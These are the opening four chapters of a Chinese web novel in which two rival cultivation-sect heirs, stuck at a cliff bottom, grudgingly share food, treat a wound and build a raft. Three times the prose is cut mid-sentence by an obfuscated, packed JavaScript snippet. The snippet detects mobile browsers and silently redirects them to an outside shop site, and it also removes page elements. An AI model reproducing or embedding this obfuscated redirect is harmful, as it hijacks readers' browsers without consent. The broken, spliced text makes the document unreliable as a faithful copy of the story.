《被迫和宿敌灵修后》 1. 第一章 这是叶云溪坠入崖底的第三天。 好消息,他虽然受了伤,但性命无虞,休养几日身体便可恢复。 坏消息,这崖底不知是什么地方,崖壁陡峭险峻不说,且修为莫名受限,完全聚不起灵力,也上不去崖顶。 更坏的消息,他是和死对头宁霜尘一起掉下来的。 这事要从半个月前说起。 半个月前,青墟秘境出世,为寻灵物,各大宗门纷纷前往秘境所在的州城,其中便有以叶家为首的云岚宗和以宁家为首的霜华宗。 叶宁两家因先辈恩怨,素来不和,因此,身为宗门少主的叶云溪和宁霜尘生来便是宿敌,谁也看不惯谁。 两人为抢同一只灵兽,在秘境中大打出手,却不想交手时意外坠入了深崖。 都怪宁霜尘! 若不是他与自己抢灵兽,又怎么会掉到这种鬼地方! 深崖石壁又陡又峭,如刀劈斧凿一般,两面是耸然而立高不见顶的危峰,峰顶云雾缭绕。 叶云溪此刻正在崖底的山洞里。 洞内冰冷幽深,唯有云雾间漏下的些许日光,照亮这方逼仄晦暗的天地。 他已经在这里待了足足两天,因为腿脚受伤,又使不上灵力,只能在洞里闭目养息,这期间他试过许多方法离开此处,最终都以失败结束。 没有修为的他就是个再也普通不过的凡人。 至于宁霜尘…… 叶云溪一想到他就生气。 都是因为宁霜尘他才会落至这般境地! 偏偏崖底仅这一处山洞可以容身,他还不得不和宁霜尘待在一起。 连续两日未曾进食,加之尚未完全辟谷,受伤后又行动不便,叶云溪这会儿早已有了饿意。 不幸的是,他和宁霜尘的储物袋皆在追逐灵兽途中遗失,如今的他们全身上下除了一身衣物和一柄长剑,什么都没有。 真是遇上宁霜尘就倒霉。 叶云溪调息完毕,缓缓睁开双眼,看向这个山洞的洞口,日光正照在崖壁间的青苔上。 今天似乎是个不错的天气。 说起来,天一亮宁霜尘便独自出了山洞,到了现在还未回来,只说出去看看,也没说去做什么。 宁霜尘该不会偷偷跑了吧? 思及此处,叶云溪不禁皱了皱眉。 这两天他们虽然待在一处,却没什么交流,刚开始时打过架也拌过嘴,但见谁也离不开崖底,便双双偃旗息鼓,达成暂时的和平共处。 如果宁霜尘偷偷跑了…… 他们可是死敌,就算宁霜尘真的找到了出路,也绝不可能带上他,说不定还会把唯一的出路堵住,让他一个人在这里等死。 不行,他不能坐以待毙。 叶云溪思索了片刻,一只手撑起长剑,另一只手扶着石壁,拖着受伤的右腿慢慢起身,准备去洞外看看。 他刚站起来走了两步,山洞外便传来了脚步声,一道修长俊朗的身影出现在洞口处。 正是从外面回来的宁霜尘。 宁霜尘穿着一身雪青色的霜华宗宗服,左手拿剑,右手提着几尾用枝条串起来的小鱼。 看这样子不像是偷跑,倒像是外出觅食去了。 见他去而复返,叶云溪立时停下了脚,眉毛仍微微皱着,脱口问道:“你去哪儿了?” 在云岚宗,他是众星捧月的宗门少主,在爹娘的千宠万爱中长大,师兄师姐全都对他爱护有加,从来不会有人无视他,就连云岚宗外的人碰到他,也会尊称他一声叶少主。 只有宁霜尘。 总是一副高高在上、自以为是的样子。 叶云溪平日里最看不惯这种人。 宁霜尘看了眼他,没搭话,提着小鱼走向山洞的另一侧。 山洞虽小,却被不对付的二人分成了两半,叶云溪在左边,宁霜尘在右边,中间堆着几块石头当做分界线。 宁霜尘捡了一些干枯的树枝堆在一起,不知要做什么,过了一会儿,叶云溪才听见他轻飘飘地说道:“我去哪儿和你什么关系。” 一边说着,一边轻挑了下眉,嗓音带着一丝逗弄,“你该不会担心我抛下你跑了吧?” 什么叫他担心被抛下? 被对方说中,叶云溪立时恼羞成怒,咬了咬牙道:“我只是去看看,某人是不是死在了外面。” 说到‘死’字时,他故意加重了语气,双目微瞪。 宁霜尘堆好了枯枝,将小鱼穿在削过的枝条上,转头去捡石头,“那恐怕要让你失望了,我不仅没死在外面,还活蹦乱跳,也没像某人一样变成瘸子。” 说这话时,他的目光斜看过来,扫了一眼扶壁而立的叶云溪。 叶云溪顺着他的视线往下看,落在因受伤而行动不便的右腿上,随即反应过来宁霜尘这是在揶揄自己,眸中顿时一片愠色,几乎咬紧了牙槽。 “你!” 居然嘲笑他是瘸子! 叶云溪一时怒火中烧,全然忘了腿脚受伤这件事,猛地拔剑刺向正弯腰捡石头的宁霜尘,谁知才往前走了一步,便整个人摇摇晃晃地扑向地面。 在快要摔倒之前,一只宽大的手掌在前面接住了他。 是宁霜尘。 距离骤然拉近,叶云溪失重一般朝前倾去,半边身体倚在宁霜尘怀里。 四目相对间,二人皆是神色一恍。 不过一瞬,叶云溪很快回过神来,双眉微蹙,嫌恶似的将对方推开,与此同时,宁霜尘也立马收回了手,迅速拉远他们之间的距离。 两人都对彼此充满了嫌弃。 宁霜尘似碰到了什么脏东西般,掸了下衣角并不存在的尘土,提醒道:“你刚刚越界了。” 坠入崖底的第一天,他们便互相立下规矩,谁也不能越过中间这条分界线。 叶云溪别过脸冷哼了一声,单手撑着剑,慢慢站稳脚靠回山洞左侧的石壁。 竟敢笑话他! 等着瞧! 等他腿伤好了,他就把宁霜尘打成瘸子! 两人不约而同转过身去,各自回到各自的地盘,狭小的山洞暂时恢复到之前的平静。 刚才挪动时不小心牵扯到右腿,伤口有些隐隐作痛,叶云溪小心翼翼坐回原来的地方,继续闭着眼睛调整气息。 宁霜尘则把捡来的石头围在一块儿,垒成火堆模样,架上树枝,生起了火。 不一会儿,炊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14490681|154715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烟便飘散在山洞内,随之飘来的,还有一股淡淡的鱼肉的香味。 叶云溪闻着这股鱼香,忍不住抽动了下鼻子,他的肚子早就饿了,此时闻见香味肚里更是饥肠辘辘,只差咕咕叫出声来。 叶云溪轻轻咽了口唾沫,缓了缓睁眼去寻这香味的来源,便见山洞另一边的宁霜尘坐在火堆前,不紧不慢地翻烤着枝条上的小鱼。 这小鱼不像是普通的鱼,约摸手掌大小,鱼身修长雪白,经过火烤,两面呈现出诱人的金黄色,在这不大不小的山洞里散发出阵阵香气。 宁霜尘烤好了鱼,拿起枝条送到嘴边,正欲张嘴时却蓦地停了下来,知道叶云溪正看着他的方向,将烤鱼凑在鼻间嗅了嗅,一脸十分享受的样子。 叶云溪余光扫过那焦香鲜美的鱼肉,没忍住舔了下唇,肚子则是不争气地咕咕叫出了声。 他怀疑宁霜尘就是故意的,故意做出这副样子眼馋他。 果不其然,宁霜尘紧接着将烤鱼朝他递来,挑眉道:“饿了?吃吧。” 叶云溪闻言,却是毫不领情扭过头去,嫌弃地皱眉:“我才不饿!” 他在云岚宗的时候,吃的都是什么八珍玉食、炊金馔玉,几时吃过这种没滋没味的东西。 这鱼烤得‘又黑又焦’,一看就很难吃,谁知道宁霜尘有没有动什么手脚。 他才不吃! 宁霜尘见他扭头,没再自讨没趣,自顾自地吃着烤鱼,边吃边发出满足的声音,“嗯……真香。” 叶云溪听着他的声音,眉头皱得像打了死结。 这人真烦! 宁霜尘继续道:“既然你不饿,那这些就都归我了。” 叶云溪不耐烦地吐出两个字:“随你。” 心里想的却是,吃吃吃,最好把他撑死! 随后,眼不见为净,闭上双眼背对着宁霜尘,一边闭目养息,一边努力压下肚子里的咕咕声。 洞里的火堆不知燃了多久,直至宁霜尘吃饱喝足,才渐渐没了动静。过了一会儿,另一侧的人起身走出了山洞,也不知道去做什么。 烤鱼的香味仍飘散在洞内,叶云溪听着宁霜尘的脚步声逐渐走远,等到完全听不见了,复又慢慢睁开眼来,转动着眸子看了眼山洞的另一边。 用石头围成的火堆早已熄灭,仅冒着几缕青烟,在他们当做分界线的石头上,放着几条两面焦香的烤鱼,下面垫着一张干净的树叶。 是宁霜尘留给他的。 叶云溪不露声色看了一眼,收回视线,再看一眼,再收回视线,喉咙不由自主地上下动了动。 等回过神时,他已经咬了一口放在树叶上的烤鱼。 烤好的鱼肉没有放盐,什么味道都没有,只带着一股原本的腥味和清甜,和他在云岚宗吃的那些山珍海味完全不能相比。 但此刻对于饿极了的叶云溪来说,却不亚于人间美味。 只要不饿死就行…… 就算死,他也绝对不能死在宁霜尘前面! 想到这里,叶云溪狠狠咬了口鱼肉。 正埋头吃着,山洞门口忽地投下一片淡淡阴影,他下意识抬头看去,只见宁霜尘正抱着双臂,看戏似的斜斜倚靠在洞口。 2. 第二章 看见洞口的身影,叶云溪吃鱼的动作登时一顿。 他就知晓宁霜尘没这么好心,故意留烤鱼给他,又故意离开山洞,便是为了等这一刻看他的好戏。 就在他以为宁霜尘要出口揶揄他时,却见宁霜尘松开手臂问道:“怎么样?味道还行吗?” 叶云溪扭过脸,吐掉嘴里的鱼骨,皱着眉朝地上呸了一声,“难吃。” 说难吃其实也算不上,这烤鱼虽然没有一点儿味道,肉质却甚是鲜美,在他吃过的鱼肉中可以说是上乘。 但一想到这是宁霜尘烤的鱼…… 反正他说不出味道不错这种话。 真要说出来,还不知道宁霜尘会有多得意。 他才不会让宁霜尘得意。 在他看来,他吃这些烤鱼都是给宁霜尘面子。 叶云溪这么想着,眼前被撞破的尴尬气氛顿时也跟着烟消云散。 他往旁边挪了挪,离吃剩的鱼刺鱼骨远了些,一副仿佛什么都没发生过的样子。 宁霜尘则险些被气笑。 都吃光了还说难吃? 也不知道刚刚是谁吃得那么香…… 真是头一次见到嘴这么硬的人。 “这鱼原是生长在极境之渊的银梭鱼,吃了对恢复修为有好处,只是不知为何会出现在这里。”宁霜尘从洞外迈进两步,顺势将刚采回来的药草递过去,“还有这仙灵草,敷在伤口处既能舒筋活络,又能消肿化瘀,可以用来治愈腿伤。” 叶云溪疑惑又谨慎地抬起眸子。 又是烤鱼又是采药?世上会有这么好的事? 要知道他和宁霜尘可是不对付的死敌。 果然,宁霜尘接着又道:“我可不想自己一直和一个瘸子待在一起。” 叶云溪听后眸色顿暗。 他就知道宁霜尘这张嘴说不出好话! 眼见叶云溪面露愠色,在他即将暴怒之时,宁霜尘再次将仙灵草递给他,“敷药会吗?” 叶云溪正要发怒,想起宁霜尘刚才说的那些,扫了眼仙灵草后一把抢到手里,没好气地接话:“废话!敷药谁还不会?” 与此同时,他在心里默念。 不生气不生气不生气…… 等腿伤好了,他一定报复回去! 听他说会,宁霜尘用怀疑的眼神瞥了眼他,见叶云溪拿着仙灵草背过身去,适才又转身出了山洞。 作为修仙界数一数二的宗派,云岚宗最不缺的便是各种灵丹妙药。 在宗门时,每次受了什么伤都是药修阁直接送丹药或药膏过来,叶云溪连药草都没碰过。 这还是他第一次见到仙灵草。 叶云溪敷完药草,穿好鞋袜,扭头再看时,山洞里已然没了宁霜尘的身影,倒是洞口外依稀传来一阵伐木声响。 薄日破开峰顶的云层,日光丝丝缕缕倾泻而下,连带着逼仄幽冷的山洞也不禁明亮起来。 进入青墟秘境以后,已经好几日没见过这般好的天气了。 叶云溪拄着剑,循着日光和伐木声走出山洞。 深崖东西绵延,像一条狭长的甬道,约有一丈余宽,山洞对面是一眼望不见顶的陡峭崖壁,壁间危石盘结,虬枝缠绕,爬满了潮湿的青苔和碧绿的藤蔓。 山洞前的空地上,摆放着几根结实粗壮的树干,旁边是还未来得及清理的枝叶。 叶云溪走出去的时候,宁霜尘正在用手中的长剑修着树干上多余的树枝,看那树干尾部的痕迹,想来这几棵树便是用剑伐来的。 这人在干什么? 叶云溪看不明白。 他坐在山洞旁边的石头上,日光可以照射到的地方,一边晒着太阳,一边看着忙来忙去的宁霜尘。 虽说刚吃了几条烤鱼,但毕竟两天没有进食,这鱼身又小,鱼肉也不多,吃进嘴里还不够塞牙缝,压根儿填不饱肚子。 回想起方才烤鱼的滋味,叶云溪不自觉咽了下唾沫,随后毫不客气地去问宁霜尘:“喂,还有烤鱼吗?” 活鱼也行,他可以自己烤。 宁霜尘闻言,却是头也不抬,淡声回道:“想吃自己去捉。” 他又没说自己想吃! 问问都不行? 吃人嘴短,他就不该和宁霜尘搭话。 呵,不就是捉鱼吗? 明明知道他捉不了,还叫他自己去捉。 叶云溪暗暗咬了咬牙,握着剑柄的指节紧了几分。 他要是没有受伤,哪里轮到宁霜尘这么嚣张。 看在宁霜尘给他烤鱼采药的份上,叶云溪勉强压下心底的火气,闭上嘴巴不再吭声。 宁霜尘低头修着树枝,过了会儿也没听见叶云溪说话,不由地掀起眼皮悄悄扫了一眼。 但见叶云溪怀抱长剑,斜倚石壁坐着,整个人笼在一道淡金色的光芒里。 那是自云雾间泻下来的薄光,洒落在那一根根纤长分明的睫毛上,衬得那张精致的脸庞愈加莹润白皙,仿如一块上好的羊脂玉。 “看什么看?”叶云溪捕捉到他的视线,立时眉心一蹙,说完,余光掠过那些树干,到底有些好奇,忍不住出声问道:“你伐这些树做什么?” 这人不说话的时候看着倒也还算顺眼。 可只要一开口…… 宁霜尘淡淡收回眼,顿了顿吐出三个字:“做木筏。” 叶云溪面露不解:“木筏?” 宁霜尘不紧不慢地解释:“我昨天又去了一趟东面,发现某处崖壁下藏着一条暗河,因被藤蔓遮掩,不易察觉,我想等木筏做好了进去看看,说不定会是出路。” 掉落深崖的第一天,他们便探索了一遍崖底,却发现四周全是高耸入天的崖壁,这崖底就像一座没有盖子的囚牢,根本无路可寻。 如果暗河是出路,那他们便能离开此处。 叶云溪听完瞬间了然。 难怪一早就不见人,原来是偷偷去探路了。 若非遇上暗河,需要木筏渡水,这人不一定还会回来。 他小心留意着宁霜尘的神色,接着问道:“那些鱼都是你在暗河里捉的?” 宁霜尘点头:“嗯。” 叶云溪又问:“你说的那条暗河离这里远吗?” 宁霜尘道:“不算远,只是较为隐蔽。” 叶云溪哦了一声,没再继续问下去。 离山洞不远,被藤蔓遮掩…… 他大概知道了在什么地方。 只是如今行动不便,他又不会做木筏,宁霜尘如若探路成功,出去之后肯定不会再回来找他。 他必须要让宁霜尘带他一起走。 宁霜尘全然不知叶云溪都想了些什么。 用作木筏的木头已经备好,还需将木头的前端削圆,方便在水中行进,另外再用质地柔韧的藤蔓把所有木材捆扎成木排。 但今日天色已晚,只能等到明日再做。 深崖不比外界,待到太阳西斜,崖底便会气温骤降,唯有躲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14490682|154715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进山洞里才能熬过漫漫长夜。 宁霜尘清理完枝叶时,叶云溪正拄着剑起身回山洞,因为腿伤,走起路来一拐一瘸,很是不便。 他视线下意识扫向叶云溪的右腿,然后便看见了对方鞋口边缘露出来的仙灵草。 瞧着仍是叶片的模样。 嗯? 敷药谁还不会? 想起叶云溪说过的话,宁霜尘忍不住嘴角微提。 于是,叶云溪刚回到洞里坐下,便听见从后面进来的宁霜尘冷不丁问他:“药敷好了?” 叶云溪不明所以应道:“对啊。” 敷药而已,有什么难的。 话音刚落,便见宁霜尘忽地在他面前半蹲下身,伸手朝他的右腿抓来。 叶云溪登时如受惊的小鹿般,反射性往后一退,躲开宁霜尘的同时拧着眉,一脸戒备道:“你干什么!” 宁霜尘语气淡然:“照你这样敷药,再过一段时间,你这条腿就不用要了。” 叶云溪不禁脸色一沉:“你什么意思?” 宁霜尘抬眸看了眼他,带着几分提醒道:“如果你不想真的变成瘸子,等会儿最好不要乱动。” 叶云溪动了下唇,本想张口驳他几句,顿了一下,到了嘴边的话又咽回了肚里。 他可不想真的变成瘸子。 光是这么两天,他就已经受不了了。 叶云溪急道:“那你说怎么办?” 宁霜尘慢悠悠道:“鞋袜脱了,腿伸过来。” 叶云溪犹豫了半瞬,还是照他说的脱掉了鞋袜,并乖乖把受伤的右腿移了过去。 狭窄的山洞内,一人坐着,一人蹲着,两道身影离得极近。 用仙灵草敷药,需先将仙灵草的草叶捣碎成黏糊状,再均匀涂抹在伤口处,最后用布条包扎起来。 可显然养尊处优的叶少主并不知道。 听到面前的人发出嘶地一声,宁霜尘敷药的手缓缓放轻了动作,敷好药后,随手撕了一片对方的衣角。 叶云溪见状顿时一惊:“你想干嘛!” 他身上穿着云岚宗的宗服,雪白的里衣罩着一层纱一般的外袍,外袍是浅浅的碧色,似雨后的春水湖面,腰间点缀的飘带和丝绦则是一抹绝艳的绯色。 宁霜尘将衣角覆在敷过药草的右腿上,绕了一圈并系了个结,“你以为我想干什么?” 叶云溪这才知道,宁霜尘撕他衣角是为了给他包扎。 嘴里却嘀咕着:“谁知道你想干什么……” 若是他的储物袋没丢,哪里还需要这么麻烦。 他的储物袋里什么都有,更何况区区药草。 小腿仍被对方捉在手里,暴露的皮肤泛起丝丝凉意,叶云溪突然觉得不自在起来。 他往后缩了缩:“好了吗?” 白皙光滑的小腿和脚踝随着他的动作掩在浅碧色的衣袍下。 宁霜尘扫了眼那抹莹白,旋即松开了手:“好了。” 小腿处的余温仍未散去,依然带着一丝温柔怪异的触感,酥酥麻麻,难以言诉。 叶云溪连忙缩回腿,移开眼去,有些别扭地轻声说了句:“谢谢。” 堂堂云岚宗少主居然跟他说谢谢?简直是太阳打西边出来。 宁霜尘把脱在一旁的鞋袜放他面前,微偏了下头:“你刚刚说什么?声音太小了,没听清。” 知道宁霜尘这是在故意戏耍他,叶云溪顿时不耐起来,冷冷吐出一个字:“滚。” 3. 第三章 木筏次日就做好了。 第二天依然是个晴天,用藤蔓捆扎好的木筏靠在崖壁上,宁霜尘在山洞前修整树枝,叶云溪坐在洞口吃着刚烤好的烤鱼。 说什么想吃自己去捉,到最后还不是帮他捉了回来。 鱼也是宁霜尘烤的,因为—— 叶云溪试着烤了一条,结果不出意料烤糊了,根本不能入口,还白白浪费了一条鱼。 这不怪他,他在云岚宗的时候向来都是衣来伸手饭来张口,别说烤鱼了,连鱼都没有捉过,宁霜尘把捉来的鱼给他时,他甚至不知道该怎么处理。 他承认,他在吃食上确实不太擅长。 但师姐说过,他都快完全辟谷了,不会做饭也没什么关系,反正到时候也不用进食。 这么想着,叶云溪心安理得地咬了口鱼肉,把最后一条烤鱼吃了个干干净净。 刚吃完,宁霜尘就把修整好的树枝扔了过来。 叶云溪下意识接到手中,低眸看了眼树枝,不解地看向他:“干什么?” 宁霜尘道:“给你用的,拐杖。” 拐杖? 还真把他当成瘸子了。 叶云溪听到这话登时脸色一变,皱着眉将树枝扔在一边,“我又不是瘸子,我拿拐杖做什么。” 宁霜尘发现,只要提到他受伤的腿,叶云溪就会变得跟炸了毛的猫一样。 一副气鼓鼓、凶巴巴的样子。 宁霜尘应和似的哦了声,拾起地上的另一根枯枝,过了会儿才说:“我还以为你也要去。” 嗯? 要去? 去哪儿? 叶云溪瞬间竖起了耳朵:“暗河?我当然要去!” 这下可是宁霜尘自己提的。 不是他求着宁霜尘带上他的。 终于!他终于要离开这个鬼地方了! 叶云溪方才还因为拐杖而烦躁不已的情绪随之一扫而光。 可看到被他扔在地上的树枝,他的脸色仍然不大好看,梗着脖子道:“这跟拐杖什么关系,不用拐杖我也能走。” 也不知道是谁,走两步就摔跟头,连敷药都不会…… 宁霜尘听见这话,没忍住抬眉觑了眼他,对此不置可否。 想到即将离开此处,叶云溪整个人不自觉轻快起来,连带着看宁霜尘也顺眼了许多。 他看着宁霜尘,清了清嗓子问道:“我们什么时候出发?” 宁霜尘埋头削着枯枝的外皮:“等做完火把。” 哦,对。 如果暗河里面很黑的话,需要有火把照明才行,不然到时候什么都看不清。 不过…… 叶云溪扫了眼他手里的枯枝,露出怀疑的眼神:“火把?就用这根干枯的树枝?” 宁霜尘少见地给他解释:“这是松明,是松树枯死以后,油脂渗进松木中形成的枯枝,做成火把可以燃烧一个时辰,沾了水也能用。” 叶云溪听不大懂,也没耐心去听,只要宁霜尘能带他离开就行。 他拍了拍衣袍上的尘屑,从洞口的石头上滑下去,“行吧,那我先去收拾了,你搞快点。” 说完,他转身进了山洞,路过拐杖时差点被绊倒,又嫌弃地把它扔在了山洞的旮旯里。 说是收拾,但其实压根儿没什么可收拾的,他们现在全身上下也就一身衣物和一柄随身携带的长剑,所以,叶云溪走进山洞看了一遍,只带上了他的佩剑。 他拔出剑刃,锋锐的剑锋映着他的侧脸,剑身薄如蝉翼,寒光隐现。 这把剑是他的父亲——云岚宗宗主,在他十八岁生辰时赠予他的生辰礼,他特意为它取了名字唤做溪岚。 自从坠入深崖以后,他每日都把溪岚当做拐杖来用,倒是委屈了它。 思及此处,叶云溪缓缓扭过头,看向被他扔到角落里的拐杖。 于是—— 半个时辰后。 收拾好的二人走出山洞,开始朝着崖底东面的暗河出发。 宁霜尘搬着木筏在前面带路,叶云溪拿着尚未点燃的火把一瘸一拐跟在后面。 见叶云溪拄着刚才那根被扔掉的拐杖,宁霜尘不由眯了眯眼,上下打量着他。 不是说不用拐杖也能走? 知道宁霜尘在盯着自己看,叶云溪似躲着他的视线般,眼睛一直直视着前方,脸不红心不跳地说道:“看我干什么?反正你都做好了,不用白不用。” 宁霜尘还在看他。 叶云溪反过来催促道:“你说的暗河在哪儿?怎么走了这么久还没到?” 宁霜尘收回眼道:“就在前面。” 叶云溪顺着他手指的方向看去,只见不远处的崖壁藤蔓盘绕,弯曲如龙的树根生长在深崖石缝间,茂密深绿的枝叶遮天蔽日。 宁霜尘放下木筏,走在前面拨开崖壁间的层层蔓叶,不一会儿,藤蔓后面便露出来一个约半人来高的洞口。 看这大小,需得弯腰才能进入。 洞口处的藤蔓又密又重,仿佛奔流而下的瀑布般,重重叠叠,难怪一开始他们没有看见。 叶云溪以为,这么小的洞口,里面一定又挤又窄,俯身进去之后,才发现此处竟比他们先前所在的山洞还要宽敞得多! 入口的地方有一块落脚的平地,不到两步就是宁霜尘所说的暗河。 山洞洞壁崎岖不平,头顶正对的崖壁上有道裂缝似的口子,外头的天光自穴口处漏下来,如光束般照在平静无波的水面。 虽有天光,暗河水面依然黝黑一片,宛如一个深不见底的黑洞,透着一种诡谲的平静。 叶云溪弯腰扔了一颗石子,只听得扑通一声轻响,石子没入河水的同时,水面漾起一圈圈细小的涟漪。 这水比他们想象中更深。 叶云溪拍掉手上的灰,拄着拐杖道:“走吧,说不定还能在里面捡到什么绝世秘籍。” 宁霜尘道:“绝世秘籍?” “对啊。”叶云溪点头:“话本子里都是这么写的。” 开篇即是主人公被仇家追杀,意外坠落悬崖,接着在崖底捡到一本早已失传的绝世秘籍,经过数月修炼,主人公习得绝世神功,最终离开崖底,成为修仙界一代大能。 他说完朝宁霜尘挑了下眉:“你不会没看过吧?” 宁霜尘别过头:“没兴趣。” 叶云溪冷哼了声:“真捡到了秘籍,你可别跟我抢。” 他心中不禁洋洋得意。 什么没兴趣,分明就是没看过。 哼,总算有宁霜尘不知道的东西了! 两人没在洞口多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14490683|154715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作停留,很快又再次行动起来,一起合力将木筏推入了暗河里。 叶云溪先一步上去,坐在木筏的前头,宁霜尘紧随其后踩上尾端,用手中的竹篙往岸边一撑,木筏便行在了水面。 山洞先宽后窄,越往深处前行,水流越深,四周也越加昏暗,幸而崖缝间时有天光落下,倒也勉强可以视物,暂时还用不上火把。 叶云溪心里却打起鼓来。 幼时他第一次随师兄师姐下山,也去过一次秘境,秘境中也有一处这样的山崖,当时他和师兄师姐走散,独自在漆黑的山洞中度过一夜。 自此,每次去到黑暗幽闭的地方,便会不由心中发悸。 换句话来说,也就是怕黑。 不行,宁霜尘现在就在旁边。 他不能让宁霜尘知道自己怕黑这件事。 宁霜尘肯定会笑话他。 叶云溪暗自深吸了口气。 眼看前面越来越黑,过了片刻,叶云溪终于忍不住开了口:“咳,火把可以点上了吗?” 宁霜尘划动着竹篙,声音自后方飘来:“不急,再等一会儿。” 再等一会儿…… 再等一会儿他就要暴露了! 叶云溪轻轻往后挪了挪,水从木筏两边流过去,竹篙划过水面,水流声缓慢轻柔。 他闭上眼睛试着调整气息,却压根儿静不下心,耳边隐约传来一段吱吱声,夹杂在水流声中,听不大真切。 紧接着,有什么东西忽地扑动着翅膀从头顶上方掠过,令他不得不睁开眼来。 他下意识抓住宁霜尘的衣角,脱口而出:“什么东西?” 眼前的景物逐渐变得模模糊糊,只能从水流声和微弱的天光推测,他们这会儿离洞口还不算远。 宁霜尘看了眼拽着他衣角的那只手,说了两个字:“蝙蝠。” 原来是蝙蝠…… 叶云溪哦了一声,稍稍舒了口气,意识到自己正抓着宁霜尘的衣角后,连忙松开了手。 “我就猜是蝙蝠。”他故作轻松地耸了下肩,却并没有回到最初的位置,也没有拉开他和宁霜尘的距离,而是说道:“现在可以用火把了吧?” 只要点上火把,他就不会怕黑了。 宁霜尘嗯了声。 叶云溪急忙摸出打火石,这打火石是宁霜尘在崖底找的,离开山洞的时候他顺道揣在了身上。 因为不太熟练,他打了好几次才冒出一点儿火星,谁知刚把火把点上,暗河深处便猛不防吹来一阵阴恻恻的冷风。 火苗瞬间熄灭。 与此同时,四周陷入一片黑暗,一道如鬼哭般的呜呜声飘在耳畔。 叶云溪顿时浑身一僵。 这次换成了手臂被抓住。 对方几乎半个身子都靠了过来。 宁霜尘撑着竹篙,低眸瞥了一眼,开口问道:“你在发抖?” “谁发抖了?”叶云溪好似被踩了尾巴的猫,闻言立即反驳道:“我才没有!” 宁霜尘于是往前挪了一步,他往前一步,叶云溪便跟着往前一步,活像身后长了条尾巴。 宁霜尘只好停下来:“害怕?” 叶云溪紧紧抓着他的手臂,力道比刚才还重了几分,嘴上却道:“我才没怕!” 宁霜尘:…… 4. 第四章 明明怕得不行,还在嘴硬。 宁霜尘忍不住想笑。 他刚要弯腰准备去捡打火石,叶云溪很快又贴了上来,紧张地问他:“你要去哪儿?” 宁霜尘:“……点火。” 宁霜尘:“……能松开一点吗?” 听他这么说,叶云溪适才往后挪了一步,却并没有松开,顿了下将另一只手里拿着的打火石递过去,“在我这儿。” 宁霜尘接过打火石,摸索着拾起火把,让叶云溪拿在手上。 不一会儿,伴随着点燃的松明,火把腾地在黑暗中亮了起来。 虽然没有外头的天光明亮,但足以让他们看清身处的环境。 叶云溪这才发现,木筏不知道什么时候已经停了,不是因为没人划动,而是被前面的什么东西挡住了前路。 他透过火光看去,两边的石壁中间,竟堵着一块半人高的巨石。 而刚才突然飘来的呜呜声,则是从暗河深处吹来的冷风,因巨石上方的通风处穴口狭窄,风声便似鬼哭狼嚎般,格外瘆人。 原来是风声…… 害他被吓了一跳。 叶云溪不禁松了口气,发觉自己的右手仍抓着宁霜尘的手臂,怔了一下连忙放开。 他佯装无事地去问宁霜尘:“这么大一块石头,现在怎么办?” 除非把眼前的巨石劈开,否则他们根本过不去,而且也不清楚巨石后面是什么样的情况,是不是他们想要的出路。 宁霜尘借着火光跳下木筏,踩到石壁另一边凸出来的石头上,他们所在的地方正是暗河的拐弯处,也因如此,巨石才会堵在这里。 木筏无法继续前行,只能飘在水面,所幸暗河水流轻缓,不用担心木筏随着流水飘走。 为免出现意外,宁霜尘还是用提前准备好的藤蔓绑住木筏前端,另一头则系在脚边的石柱上,随后朝叶云溪伸出手去,“先过来。” 叶云溪搭上他的手也跟着踩到石面,离巨石近了些,才留意到上面有着许多剑刃划过的痕迹,脚下也落有不少巨石的碎屑。 他几乎一眼便看了出来。 在此之前,有人来过这里。 可崖底只有他和宁霜尘两个人。 除了他,那就只有…… 他不由缓缓扭头看向身侧,宁霜尘迎上他的视线,从容道:“等会儿一起拔剑,把巨石劈开……” 叶云溪直接打断他的话,开门见山道:“你来过?” 宁霜尘没有否认,嗯了声,“来过一次。” 对方太过坦然,反倒让他不知该怎么问下去。 难怪这两日宁霜尘突然对他这么殷勤,不仅亲手帮他敷药,给他捉鱼,今日还特地为他做了根拐杖。 原来是知道凭自己一人无法离开这里,需要他的助力,所以才会这般讨好他。 不是他需要宁霜尘带他离开,而是宁霜尘需要他的帮忙。 想通此节,叶云溪顿时豁然开朗。 前日傍晚宁霜尘回来时带了一身水汽,想来便是独自前来探了遍这条暗河。 若不是受到巨石阻挡,宁霜尘恐怕早就偷偷跑了,哪里还会回来做木筏带上他。 不管如何,只要能离开这里就行。 叶云溪的注意力回到面前的巨石上,说道:“你怎么确定后面还有路?” 宁霜尘看着巨石上方,判断道:“有风,还有水声,后面应该也是暗河。” 叶云溪暂且选择了相信他,反正都到了这里,进也不是,退也不是,不如先试一试,说不定真能劈出来一条出路。 他握住剑柄道:“那就先试试。” 